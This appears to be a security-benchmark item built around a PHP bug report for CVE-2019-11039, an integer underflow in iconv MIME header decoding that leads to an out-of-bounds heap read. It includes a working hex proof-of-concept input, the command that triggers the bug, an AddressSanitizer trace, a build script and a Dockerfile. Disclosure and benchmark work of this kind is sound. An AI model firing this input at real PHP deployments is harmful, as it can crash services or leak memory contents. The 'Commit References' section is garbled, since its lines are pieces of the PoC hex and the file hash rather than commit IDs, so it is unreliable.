Project: php-src (php/php-src), language: c++
Vulnerability instance: php.cve-2019-11039
Sanitizer: address

================= Bug Report (1/1) ==================
## Source: PHP Bugs
## URL: https://bugs.php.net/bug.php?id=78069
## Description:
PHP Bug ID: 78069
Summary: Out-of-bounds read in iconv.c:_php_iconv_mime_decode() due to integer overflow
Status: Closed
PHP Version: 7.1.29
Assigned: stas (profile)
CVE-ID: 2019-11039

Description:
Description:
------------
In _php_iconv_mime_decode() function in iconv.c, there's an out-of-bounds read due to an integer overflow vulnerability. MIME encoded string is being parsed and decoded in for loop with following condition:

for (str_left = str_nbytes; str_left > 0; str_left--, p1++) {

Inside this for loop, it's possible for str_left to be decreased and p1 to be increased at the same time when scan_stat is equal to 2 (i.e. case 2 branch of the switch) and the given character set is unrecognized and ICONV_MIME_DECODE_CONTINUE_ON_ERROR is specified, so it continues to parse the message. It will then try to skip the encoded word by searching for the other two '?' characters while increasing p1 and decreasing str_left:

int qmarks = 2;
while (qmarks > 0 && str_left > 1) {
    if (*(++p1) == '?') {
        --qmarks;
    }
    --str_left;
}

If the while condition is stopped, it will proceed to the next condition that checks if the next character is '=' and if it is, p1 is increased again and str_left is decreased: 

if (*(p1 + 1) == '=') {
    ++p1;
    --str_left;
}

However, if the previous while loop was stopped due to str_left being equal to 1, it is now decreased to 0. The encoded string is copied to 'pretval' variable and if it doesn't error out, it will properly set scan_stat and break:

scan_stat = 12;
break;

The for loop is being run from start again, but before checking the condition 'str_left > 0', it is first decreased. Since it was already equal to 0 and it is defined as size_t (i.e. unsigned integer), it will overflow to very huge positive number. At this point, the code will continue to read from p1 out of bounds and copy it to 'pretval'.

The exact behaviour depends on the content of the memory after 'str' buffer. Possible impact is crash of the application or even information leak, depending on the further usage of the decoded header since it contains the data from memory outside of allocated string.

This issue affects all current stable releases, namely PHP-7.1.29, PHP-7.2.18, and PHP-7.3.5. Tested on Fedora 28, PHP code was compiled with ASAN. It is possible to observe the bug also with valgrind without the necessity of compilig php with ASAN.

Test script:
---------------
$ echo "53754c743b2020304a70616100000d0d0d0d0d0d0d0d0d6563743a203d3f69730d0d0d0d0d0d0d0d0d0d0d0d0d0d0d6563743a203d3f6973754c743b2020304a70616100000d0d0d0d0d0d0d0d0d6563743a203d3f6f2d383835392d313f713f3c334633463d33463f3da2" | xxd -r -p - > poc

$ sha256sum poc
c471fb3e1511897d3fda9095e0eb85c934532a207f30ac99f0e7d58c42916e4b  poc

$ USE_ZEND_ALLOC=0 sapi/cli/php -r '$hdr = iconv_mime_decode_headers(file_get_contents("poc"),2);'

Expected result:
----------------
No out-of-bounds read, i.e. the message is properly parsed.

The attached proposed patch will not decrease 'str_left' if it's not greater then 1. While it will increase p1 since it's needed for copying the content into 'pretval', it will then break out of switch, decrease automatically and for loop will not continue since 'str_left' is equal to 0.

Actual result:
--------------
$ USE_ZEND_ALLOC=0 sapi/cli/php -r '$hdr = iconv_mime_decode_headers(file_get_contents("poc"),2);'
=================================================================
==26444==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x60d0000005a8 at pc 0x000000a2ee39 bp 0x7ffcc313a470 sp 0x7ffcc313a460
READ of size 1 at 0x60d0000005a8 thread T0
    #0 0xa2ee38 in _php_iconv_mime_decode /home/neural.x/Projects/php-7.3.5/ext/iconv/iconv.c:1965
    #1 0xa332c6 in zif_iconv_mime_decode_headers /home/neural.x/Projects/php-7.3.5/ext/iconv/iconv.c:2409
    #2 0x159adb7 in ZEND_DO_ICALL_SPEC_RETVAL_USED_HANDLER /home/neural.x/Projects/php-7.3.5/Zend/zend_vm_execute.h:690
    #3 0x159adb7 in execute_ex /home/neural.x/Projects/php-7.3.5/Zend/zend_vm_execute.h:55465
    #4 0x15dc2cc in zend_execute /home/neural.x/Projects/php-7.3.5/Zend/zend_vm_execute.h:60881
    #5 0x1134723 in zend_eval_stringl /home/neural.x/Projects/php-7.3.5/Zend/zend_execute_API.c:1018
    #6 0x1134ec9 in zend_eval_stringl_ex /home/neural.x/Projects/php-7.3.5/Zend/zend_execute_API.c:1059
    #7 0x1134f7a in zend_eval_string_ex /home/neural.x/Projects/php-7.3.5/Zend/zend_execute_API.c:1070
    #8 0x15e4c80 in do_cli /home/neural.x/Projects/php-7.3.5/sapi/cli/php_cli.c:1028
    #9 0x15e7191 in main /home/neural.x/Projects/php-7.3.5/sapi/cli/php_cli.c:1389
    #10 0x7f66b910311a in __libc_start_main (/lib64/libc.so.6+0x2311a)
    #11 0x427619 in _start (/home/neural.x/Projects/php-7.3.5/sapi/cli/php+0x427619)

0x60d0000005a8 is located 0 bytes to the right of 136-byte region [0x60d000000520,0x60d0000005a8)
allocated by thread T0 here:
    #0 0x7f66ba937448 in __interceptor_realloc (/lib64/libasan.so.5+0xef448)
    #1 0x10ccc66 in __zend_realloc /home/neural.x/Projects/php-7.3.5/Zend/zend_alloc.c:2922
    #2 0x10c6ca9 in _erealloc /home/neural.x/Projects/php-7.3.5/Zend/zend_alloc.c:2525
    #3 0x102ba2b in zend_string_truncate /home/neural.x/Projects/php-7.3.5/Zend/zend_string.h:225
    #4 0x102ba2b in _php_stream_copy_to_mem /home/neural.x/Projects/php-7.3.5/main/streams/streams.c:1451
    #5 0xd96688 in zif_file_get_contents /home/neural.x/Projects/php-7.3.5/ext/standard/file.c:569
    #6 0xae0c58 in phar_file_get_contents /home/neural.x/Projects/php-7.3.5/ext/phar/func_interceptors.c:222
    #7 0x159adb7 in ZEND_DO_ICALL_SPEC_RETVAL_USED_HANDLER /home/neural.x/Projects/php-7.3.5/Zend/zend_vm_execute.h:690
    #8 0x159adb7 in execute_ex /home/neural.x/Projects/php-7.3.5/Zend/zend_vm_execute.h:55465
    #9 0x15dc2cc in zend_execute /home/neural.x/Projects/php-7.3.5/Zend/zend_vm_execute.h:60881
    #10 0x1134723 in zend_eval_stringl /home/neural.x/Projects/php-7.3.5/Zend/zend_execute_API.c:1018
    #11 0x1134ec9 in zend_eval_stringl_ex /home/neural.x/Projects/php-7.3.5/Zend/zend_execute_API.c:1059
    #12 0x1134f7a in zend_eval_string_ex /home/neural.x/Projects/php-7.3.5/Zend/zend_execute_API.c:1070
    #13 0x15e4c80 in do_cli /home/neural.x/Projects/php-7.3.5/sapi/cli/php_cli.c:1028
    #14 0x15e7191 in main /home/neural.x/Projects/php-7.3.5/sapi/cli/php_cli.c:1389
    #15 0x7f66b910311a in __libc_start_main (/lib64/libc.so.6+0x2311a)

SUMMARY: AddressSanitizer: heap-buffer-overflow /home/neural.x/Projects/php-7.3.5/ext/iconv/iconv.c:1965 in _php_iconv_mime_decode
Shadow bytes around the buggy address:
  0x0c1a7fff8060: 00 00 00 00 00 00 00 00 fa fa fa fa fa fa fa fa
  0x0c1a7fff8070: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c1a7fff8080: 00 fa fa fa fa fa fa fa fa fa 00 00 00 00 00 00
  0x0c1a7fff8090: 00 00 00 00 00 00 00 00 00 00 00 fa fa fa fa fa
  0x0c1a7fff80a0: fa fa fa fa 00 00 00 00 00 00 00 00 00 00 00 00
=>0x0c1a7fff80b0: 00 00 00 00 00[fa]fa fa fa fa fa fa fa fa fa fa
  0x0c1a7fff80c0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c1a7fff80d0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c1a7fff80e0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c1a7fff80f0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c1a7fff8100: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07 
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
==26444==ABORTING

Comments:

[Comment 1] [2019-05-26 21:42 UTC] cmb@php.net
Thanks for reporting this issue, the fine analysis and the good
patch!

Stas, could you please handle this for the upcoming GA releases?

Commit References:
53754c743b2020304a70616100000d0d0d0d0d0d
0d0d0d0d0d0d0d6563743a203d3f6973754c743b
c471fb3e1511897d3fda9095e0eb85c934532a20
0d0d0d6563743a203d3f69730d0d0d0d0d0d0d0d
2020304a70616100000d0d0d0d0d0d0d0d0d6563
743a203d3f6f2d383835392d313f713f3c334633

Build script:
#!/bin/bash -eu
# Minimized build script with only core build commands
set -eu
./buildconf --force
./configure \
        --enable-option-checking=fatal \
        --without-libxml \
        --disable-dom \
        --disable-simplexml \
        --disable-xml \
        --disable-xmlreader \
        --disable-xmlwriter \
        --without-pear \
        --enable-exif \
        --disable-phpdbg \
        --disable-cgi \
        --enable-mbstring
make -j$(nproc)

Dockerfile:
FROM hwiwonlee/secb.base:latest
RUN apt-get update && apt-get install -y make autoconf automake libtool bison re2c make ca-certificates curl xz-utils dpkg-dev file libc-dev pkg-config libcurl4-openssl-dev libedit-dev libsqlite3-dev libssl-dev zlib1g-dev chrpath
RUN git clone https://github.com/php/php-src php-src
RUN git -C php-src checkout c34895e837b50213c2bb201c612904342d2bd216
WORKDIR $SRC/php-src
COPY build.sh $SRC/

Additional files:
filename: cosmic.list
content: deb http://archive.ubuntu.com/ubuntu/ cosmic universe


filename: runtime.options
content: [libfuzzer]
detect_leaks=0